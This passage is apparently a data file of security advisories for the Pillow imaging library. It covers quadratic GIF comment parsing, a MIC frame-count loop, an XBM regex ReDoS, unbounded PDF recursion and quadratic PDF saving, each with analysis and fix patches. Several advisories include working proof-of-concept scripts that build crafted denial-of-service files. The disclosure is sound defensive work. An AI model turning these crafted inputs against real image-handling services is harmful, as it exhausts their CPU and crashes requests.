Reproducer \u2014 repro, 2,330 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # MicImageFile inherits TiffImageFile.n_frames, whose loop `self._seek(self.tell()+1)` # relies on tell() advancing; MicImageFile.tell() returns the OLE stream index (constant), # so a MIC file whose Image stream is a TIFF with >=3 chained IFDs makes im.n_frames spin forever. import io, struct, subprocess, sys, tempfile, os from PIL import Image def tiff(n): # n-page TIFF written by Pillow itself b = io.BytesIO(); fr = [Image.new(\"L\", (4, 4), i) for i in range(n)] fr[0].save(b, \"TIFF\", save_all=True, append_images=fr[1:]); return b.getvalue() def mic(stream): # minimal OLE2 file: storage \"img0.ACI\" containing stream \"Image\" END, FREE, FATSECT = 0xFFFFFFFE, 0xFFFFFFFF, 0xFFFFFFFD data = stream.ljust(4096, b\"\\0\"); n = len(data) // 512 fat = [FATSECT, END] + [3 + k for k in range(n - 1)] + [END]; fat += [FREE] * (128 - len(fat)) def entry(name, kind, child, start, size): raw = name.encode(\"utf-16-le\") + b\"\\0\\0\" return raw.ljust(64, b\"\\0\") + struct.pack(\" 01 41 00`, then a minimal 1\u00d71 image and the trailer: - **comments**: label `0xFE`. Each extension is a 1-byte comment, so `_seek()` appends each one to `info[\"comment\"]` with `+=` (`GifImagePlugin.py:266`). - **control**: label `0x01` (plain-text extension). The bytes are the same apart from the label. `_seek()` reads them through the same loop and the same `self.data()` calls, then throws them away. The script times `Image.open(io.BytesIO(data))` on each file. It does not call `load()`, because `_open()` already parses frame 0. It checks that the image came out as 1\u00d71. Typical output on a 2-CPU machine: ``` 2 MB GIF control (0x01): 0.16 s comments (0xFE): 5.14 s 4 MB GIF control (0x01): 0.26 s comments (0xFE): 33.53 s doubling 2 MB -> 4 MB multiplied open() time by x6.5 (linear: ~x2) 4 MB comment GIF took x129 as long as the same-size control BUG ``` For a linear parser, doubling the file would roughly double the time, and the two files would take about the same time. The script prints `BUG` when all three of these hold: - doubling the comment file from 2 MB to 4 MB multiplies its open time by at least 3\u00d7; - the 4 MB comment file takes at least 20\u00d7 as long as its control; - the 4 MB comment file takes at least 8 s. Otherwise it prints `OK`. The run is deterministic, CPU-bound on one core, and takes about 40 s. ## Suggested fix The attached patch changes `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py` to accumulate comment data in a local list instead of with `bytes` concatenation, and to join it once when the frame's info is committed: ```diff @@ def _seek(self, frame: int, update_image: bool = True) -> None: info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None @@ elif s[0] == 254: # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue @@ - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: ``` This removes the quadratic copying at both sites (`:261` per sub-block and `:266` per extension); the 4 MB reproducer file opens in about 0.3 s, the same as its control, and the reproducer no longer prints `BUG` on a patched build. The resulting `info[\"comment\"]` is unchanged for empty, multi-sub-block, multi-extension and later-frame comments \u2014 including `Tests/images/multiple_comments.gif` \u2192 `b\"Test comment 1\\nTest comment 2\"` \u2014 and `Tests/test_file_gif.py` passes unchanged. The GIF writer (`_write_local_header` / `_save`) is not affected. The patch deliberately adds no size cap. Unlike PNG `zTXt`, which `PngImagePlugin.MAX_TEXT_CHUNK` guards against decompression amplification, a GIF comment can be no larger than the file that carries it, so once the copy is linear there is nothing left to bound, and a hard cap would reject valid files with large comments. If a limit is wanted anyway, a `MAX_COMMENT_SIZE` check inside the sub-block loop is a small policy addition on top of this patch. ## The patch GIF: collect comment extension sub-blocks in a list and join once per frame instead of repeated bytes += in GifImageFile._seek() Applies to `src/PIL/GifImagePlugin.py` at the commit above. ```diff diff --git a/src/PIL/GifImagePlugin.py b/src/PIL/GifImagePlugin.py index 11fb180fc..05007d2ac 100644 --- a/src/PIL/GifImagePlugin.py +++ b/src/PIL/GifImagePlugin.py @@ -217,6 +217,7 @@ class GifImageFile(ImageFile.ImageFile): palette: ImagePalette.ImagePalette | Literal[False] | None = None info: dict[str, Any] = {} + comment_blocks: list[bytes] | None = None frame_transparency = None interlace = None frame_dispose_extent = None @@ -254,18 +255,16 @@ class GifImageFile(ImageFile.ImageFile): # # comment extension # - comment = b\"\" + if comment_blocks is None: + comment_blocks = [] + else: + # If multiple comment blocks in frame, separate with \\n + comment_blocks.append(b\"\\n\") # Read this comment block while block: - comment += block + comment_blocks.append(block) block = self.data() - - if \"comment\" in info: - # If multiple comment blocks in frame, separate with \\n - info[\"comment\"] += b\"\\n\" + comment - else: - info[\"comment\"] = comment s = b\"\" continue elif s[0] == 255 and frame == 0 and block is not None: @@ -433,8 +432,10 @@ class GifImageFile(ImageFile.ImageFile): ) ] - if info.get(\"comment\"): - self.info[\"comment\"] = info[\"comment\"] + if comment_blocks: + comment = b\"\".join(comment_blocks) + if comment: + self.info[\"comment\"] = comment for k in [\"duration\", \"extension\"]: if k in info: self.info[k] = info[k] ``` ## The reproducer
Reproducer \u2014 repro, 2,263 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 \"\"\"Quadratic CPU in Image.open() on GIF comment extensions. GifImageFile._seek() appends every comment extension to info[\"comment\"] with bytes `+=` (src/PIL/GifImagePlugin.py:266), copying the whole accumulated comment each time. Image.open() runs _seek(0) eagerly, so merely opening a GIF made of many tiny comment extensions costs O(size^2) CPU. We time Image.open() on two files of identical length: ATTACK - a 1x1 GIF whose body is thousands of 1-byte comment extensions (label 0xFE) CONTROL - the same bytes with label 0x01 (plain-text extension), which _seek() reads through the same loop but discards instead of concatenating. A linear parser would take ~2x longer when the file doubles, and the two files would cost about the same. \"\"\" import io import time from PIL import Image HEADER = b\"GIF89a\" + b\"\\x01\\x00\\x01\\x00\" + b\"\\x00\\x00\\x00\" # 1x1 screen, no palette IMAGE = b\",\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\" + b\"\\x02\\x02\\x44\\x01\\x00\" # 1x1 frame TRAILER = b\";\" def make_gif(size: int, label: int) -> bytes: # each extension is `21
---"}, {"id": "CVE-2026-112901", "fix_versions": ["13.0.0"], "aliases": ["GHSA-xgh8-jp6q-p5x8"], "description": "``` ============================================================================ ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes Location: src/PIL/XbmImagePlugin.py:58 in XbmImageFile._open() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` A crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes. The cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \\t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\\r\\n]+` closing the hotspot group overlaps with the following `[\\000-\\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `\"XBM\"`. The attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`. ## Details `XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\\000-\\377]*_bits\\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`. This 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit: ```python k = 60 data = b\"#define\" + b\" \"*k + b\"_width 1\\r\" data += b\"#define\" + b\" \"*k + b\"_height 1\\r\" data += b\"#define\" + b\" \"*k + b\"_x_hot 1\\r\" data += b\"#define\" + b\" \"*k + b\"_y_hot 1\" + b\"\\r\"*k data += b\"_bits\" # no \"[]\": the final literal never matches data += b\"A\" * (512 - len(data)) # pad to the 512 bytes _open() reads ``` Calling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 \u2192 0.11 s, k = 15 \u2192 0.76 s, k = 20 \u2192 3.0 s, k = 25 \u2192 8.5 s, k = 30 \u2192 19.9 s (roughly \u00d727 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 \u00b5s and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 \u00b5s. The regex, `src/PIL/XbmImagePlugin.py:32`: ```python xbm_head = re.compile( rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\"#define[ \\t]+.*_height[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\"(?P\" b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\")?\" rb\"[\\000-\\377]*_bits\\[]\" ) ``` and the only call site, `src/PIL/XbmImagePlugin.py:58`: ```python def _open(self) -> None: \u2026 m = xbm_head.match(self.fp.read(512)) if not m: msg = \"not a XBM file\" raise SyntaxError(msg) ``` For a well-formed header (`#define im_width 8\\n\u2026static char im_bits[] = {`) each `[ \\t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\\000-\\377]*_bits\\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points: - `[ \\t]+.*_width` and `[ \\t]+.*_height`: the run of k spaces after `#define` can be split between `[ \\t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\\r` terminators is incidental: the same header with `\\n` terminators is equally slow.) - `[ \\t]+[^_]*_x_hot` and `[ \\t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms. - `[\\r\\n]+` closing the `hotspot` group, followed by `)?` and `[\\000-\\377]*`: the run of k `\\r` bytes after `_y_hot 1` can be divided between `[\\r\\n]+` and `[\\000-\\377]*` in k ways. Factor k. - `[\\000-\\377]*_bits\\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited. CPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 \u00d7 (512 \u2212 header length) steps \u2014 about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 \u2264 512), so the cost per `open()` is bounded, but the bound is minutes of CPU. The path is the default one. `Image.open()` (`src/PIL/Image.py:3719`) reads a 16-byte prefix and offers it to every registered plugin's accept hook; `XbmImagePlugin._accept()` (`src/PIL/XbmImagePlugin.py:43`) returns true for anything whose left-stripped prefix starts with `#define`, and `_open()` then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is `UnidentifiedImageError` after the delay. File name and extension are irrelevant because dispatch is by content. A `faulthandler` stack dump taken 20 s into the call shows the interpreter at `XbmImagePlugin.py:58 in _open` \u2190 `ImageFile.py:154 in __init__` \u2190 `Image.py:3699 in _open_core` \u2190 `Image.py:3719 in open`. `ImageFile.Parser.feed()` (`src/PIL/ImageFile.py:584`) amplifies this further: until the stream is identified it calls `Image.open()` on all accumulated data at every `feed()`, so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks \u2192 4.6 s versus 0.76 s for a single `open()`). ## Impact Anyone who can get 512 bytes in front of `Image.open()` \u2014 an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image \u2014 pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no `DecompressionBombWarning`/`Error` fires; application-side upload size limits do not help because the file is tiny, and `Image.MAX_IMAGE_PIXELS` is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit `formats=` allowlist to `Image.open()` that excludes `\"XBM\"` are not affected. This is the same bug class as CVE-2021-25292 (catastrophic backtracking in the `PdfParser` regexes, fixed in 8.1.1) and CVE-2021-23437 (`ImageColor.getrgb` ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain `Image.open()` on any byte stream. ## Reproducing `repro` is a single Python script. It uses the installed Pillow through the public `Image.open()` API and needs no rebuild. Each input is the 512-byte header from Details: four `#define` lines with k spaces after `#define`, lines ending in `\\r`, k `\\r` bytes after `_y_hot 1`, padding with `A` up to the 512 bytes that `_open()` reads. The only thing that changes between inputs is the tail: `_bits[]` (valid) or `_bits` (the final literal can never match). 1. **Control.** Opens the k = 60 header with the tail `_bits[]`. The regex matches on its first try and Pillow reports `XBM (1, 1)` in about 50 ms. This shows that the same bytes are only slow when the match has to fail. 2. **Attack.** Opens the header with the tail `_bits` at k = 10, 15, 20 and 25. Each one raises `UnidentifiedImageError`, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run. Expected output on this commit: ``` control k=60 '_bits[]': XBM (1, 1) in 0.052s attack k=10 '_bits' : UnidentifiedImageError in 0.105s attack k=15 '_bits' : UnidentifiedImageError in 0.748s attack k=20 '_bits' : UnidentifiedImageError in 3.024s attack k=25 '_bits' : UnidentifiedImageError in 8.561s BUG ``` The script prints `BUG` only when all of these hold: - the control header opened as `XBM` in under 1 s; - the k = 25 attack input took more than 2 s; - the k = 25 attack input took more than 5 times as long as the k = 15 one, i.e. the cost grows super-linearly in k. Otherwise it prints `OK`. With the attached patch applied, every attack input is rejected at once, so the script prints `OK`. ## Suggested fix The attached patch removes the overlap between `[ \\t]+` and the quantifier that matches the identifier prefix in `xbm_head` (`src/PIL/XbmImagePlugin.py:32-40`), so the whitespace after `#define` can be consumed in exactly one way and the identifier cannot run across line terminators. It matches the identifier with `[^ \\t\\r\\n]*` (and `[^ \\t\\r\\n_]*` in the hotspot group, which keeps the existing \"no underscore before `_x_hot`/`_y_hot`\" behaviour); the remaining quantifier pairs are then either over disjoint character classes or reduce to a single linear rescan of at most 512 bytes: ```diff xbm_head = re.compile( - rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P[0-9]+)[\\r\\n]+\" - b\"#define[ \\t]+.*_height[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\"(?P\" - b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" - b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\")?\" rb\"[\\000-\\377]*_bits\\[]\" ) ``` This mirrors the `PdfParser` fix for CVE-2021-25292. The patch also adds a `test_redos` case to `Tests/test_file_xbm.py`, in the style of the one in `Tests/test_file_pdf.py`: it builds the k = 60 header from Details and, under `@timeout_unless_slower_valgrind(1)`, expects `XbmImageFile` to raise `SyntaxError`. With the patch applied to a clean checkout and rebuilt, the reproducer prints `OK` and the existing `Tests/test_file_xbm.py` (including `hopper.xbm`, `hopper_underscore.xbm` and the hotspot round-trip) still passes. The change does reject headers whose identifier contains whitespace (`#define foo bar_width 16`), which is not valid C and is not produced by Pillow's own XBM writer. ## The patch Use more specific regex chars in the XBM header regex to prevent ReDoS in Image.open() on a crafted 512-byte header Applies to `src/PIL/XbmImagePlugin.py` at the commit above. ```diff diff --git a/Tests/test_file_xbm.py b/Tests/test_file_xbm.py index 1988c417f..67236c795 100644 --- a/Tests/test_file_xbm.py +++ b/Tests/test_file_xbm.py @@ -6,7 +6,7 @@ import pytest from PIL import Image, XbmImagePlugin -from .helper import hopper +from .helper import hopper, timeout_unless_slower_valgrind TYPE_CHECKING = False if TYPE_CHECKING: @@ -91,3 +91,17 @@ def test_hotspot(tmp_path: Path) -> None: with Image.open(out) as reloaded: assert reloaded.info[\"hotspot\"] == hotspot + + +@timeout_unless_slower_valgrind(1) +def test_redos() -> None: + k = 60 + malicious = b\"#define\" + b\" \" * k + b\"_width 1\\r\" + malicious += b\"#define\" + b\" \" * k + b\"_height 1\\r\" + malicious += b\"#define\" + b\" \" * k + b\"_x_hot 1\\r\" + malicious += b\"#define\" + b\" \" * k + b\"_y_hot 1\" + b\"\\r\" * k + b\"_bits\" + malicious += b\"A\" * (512 - len(malicious)) + + # The important thing is it doesn't timeout, cause a ReDoS + with pytest.raises(SyntaxError): + XbmImagePlugin.XbmImageFile(BytesIO(malicious)) diff --git a/src/PIL/XbmImagePlugin.py b/src/PIL/XbmImagePlugin.py index 95729d73d..7435d20f2 100644 --- a/src/PIL/XbmImagePlugin.py +++ b/src/PIL/XbmImagePlugin.py @@ -29,12 +29,14 @@ if TYPE_CHECKING: from typing import IO # XBM header +# The identifier before each suffix cannot contain whitespace, so that it +# cannot overlap with the preceding [ \\t]+ and cause a ReDoS xbm_head = re.compile( - rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P[0-9]+)[\\r\\n]+\" - b\"#define[ \\t]+.*_height[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"\\s*#define[ \\t]+[^ \\t\\r\\n]*_width[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n]*_height[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\"(?P\" - b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" - b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n_]*_x_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" + rb\"#define[ \\t]+[^ \\t\\r\\n_]*_y_hot[ \\t]+(?P[0-9]+)[\\r\\n]+\" b\")?\" rb\"[\\000-\\377]*_bits\\[]\" ) ``` ## The reproducer
Reproducer \u2014 repro, 1,138 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # XbmImagePlugin.xbm_head catastrophic backtracking, reached from Image.open() # on a <=512-byte stream. Prints BUG if a failing 512-byte header takes # super-linearly long while the same-shaped valid header opens instantly. import io, time from PIL import Image def hdr(k, tail): d = b\"\" for name in (b\"_width 1\\r\", b\"_height 1\\r\", b\"_x_hot 1\\r\", b\"_y_hot 1\"): d += b\"#define\" + b\" \" * k + name d += b\"\\r\" * k + tail return d + b\"A\" * (512 - len(d)) def timed(data): s = time.perf_counter() try: im = Image.open(io.BytesIO(data)); r = f\"{im.format} {im.size}\" except Exception as e: r = type(e).__name__ return r, time.perf_counter() - s ctl, tc = timed(hdr(60, b\"_bits[]\")) print(f\"control k=60 '_bits[]': {ctl} in {tc:.3f}s\") ts = {} for k in (10, 15, 20, 25): r, ts[k] = timed(hdr(k, b\"_bits\")) print(f\"attack k={k:2d} '_bits' : {r} in {ts[k]:.3f}s\", flush=True) # k=60 (fits easily in 512 bytes) runs for minutes; not executed here. bug = ctl.startswith(\"XBM\") and tc < 1 and ts[25] > 2 and ts[25] > 5 * ts[15] print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112391", "fix_versions": ["13.0.0"], "aliases": ["GHSA-254f-3936-288h"], "description": "### Summary `PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch. ### Details **`get_value()` in `src/PIL/PdfParser.py`** This is a classmethod that takes `max_nesting: int = -1` and has a guard: ```python if max_nesting == 0: return None, None ``` Every recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else. This advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel `-1` default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function \u2014 it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in get_value() . ### Steps to reproduce Both PDFs below are plain text, built directly in Python, no PDF library needed. ```python from PIL.PdfParser import PdfParser def build_pdf(root): out = bytearray(b\"%PDF-1.4\\n\") offset = len(out) out += f\"1 0 obj\\n\".encode() out += root out += b\"\\nendobj\\n\" out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" xref_offset = len(out) out += b\"xref\\n\" out += f\"0 2\\n\".encode() out += b\"0000000000 65535 f \\n\" out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\" out += b\"trailer\\n\" out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode() out += b\"startxref\\n\" out += f\"{xref_offset}\\n\".encode() out += b\"%%EOF\" return bytes(out) bomb = b\"[\" * 3000 + b\"]\" * 3000 root = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\" with open(\"nesting_bomb.pdf\", \"wb\") as f: f.write(build_pdf(root)) PdfParser(\"nesting_bomb.pdf\") # raises RecursionError ``` Expected: a clean `PdfFormatError`. Actual: raises a raw `RecursionError: maximum recursion depth exceeded`. ### Impact - Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes. - Confidentiality: none. - Integrity: none. - Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter."}, {"id": "CVE-2026-112894", "fix_versions": ["13.0.0"], "aliases": ["GHSA-jg86-v3jv-hrpm"], "description": "``` ============================================================================ Quadratic-time DoS in PDF save_all (PdfParser.next_object_id) Location: src/PIL/PdfParser.py:629 in next_object_id() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow's PDF writer takes time proportional to the square of the number of frames when it saves a multi-frame image as a multi-page PDF. Anyone who can get an application to convert their uploaded image this way can tie up a worker at full CPU for minutes with a small file. A 240 KB animated image takes about 70 seconds, a 720 KB one an estimated 10 minutes, and a 125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2\u00b3\u00b9 frames. Memory stays under 100 MB and the decompression-bomb limit never applies. The cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N\u00b2). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay. The precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4\u00d7 the frames costing about 11\u00d7 the CPU for a valid GIF and about 16\u00d7 for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear. ## Details Saving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far. A 1\u00d71-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not): | frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS | |---|---|---|---| | 2 000 | 30 KB | 1.1 s | | | 8 000 | 120 KB | 14.7 s | | | 16 000 | 240 KB | 70 s | 60 MB | | 32 000 | 480 KB | 262 s | 95 MB | | 48 000 | 720 KB | still running at 120 s (extrapolated \u2248 10 min) | | Each doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly. The per-page id reservation loop runs before any page is written: ```python # src/PIL/PdfImagePlugin.py:247-259 (_save) for im in ims: im_number_of_pages = 1 if save_all: im_number_of_pages = getattr(im, \"n_frames\", 1) \u2026 for i in range(im_number_of_pages): image_refs.append(existing_pdf.next_object_id(0)) if im.mode == \"P\" and \"transparency\" in im.info: image_refs.append(existing_pdf.next_object_id(0)) page_refs.append(existing_pdf.next_object_id(0)) contents_refs.append(existing_pdf.next_object_id(0)) ``` `n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10\u201313 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here: ```python # src/PIL/PdfParser.py:626-634 def next_object_id(self, offset: int | None = None) -> IndirectReference: try: # TODO: support reuse of deleted objects reference = IndirectReference(max(self.xref_table.keys()) + 1, 0) except ValueError: reference = IndirectReference(1, 0) if offset is not None: self.xref_table[reference.object_id] = (offset, 0) return reference # src/PIL/PdfParser.py:175-178 (XrefTable) def keys(self) -> set[int]: return ( set(self.existing_entries.keys()) - set(self.deleted_entries.keys()) ) | set(self.new_entries.keys()) ``` `_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k\u22121 previous ids, computes a difference and a union, and then `max()` scans the result \u2014 O(k) work to produce the integer k. Summed over 3N calls this is O(N\u00b2): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10\u00b9\u2070 set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1\u00d71) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked. This reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically. For contrast, `write_obj(ref, \u2026)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed. ## Impact The precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way \u2014 the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input \u2014 can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4\u00bd minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2\u00b3\u00b9 cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice. This is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the 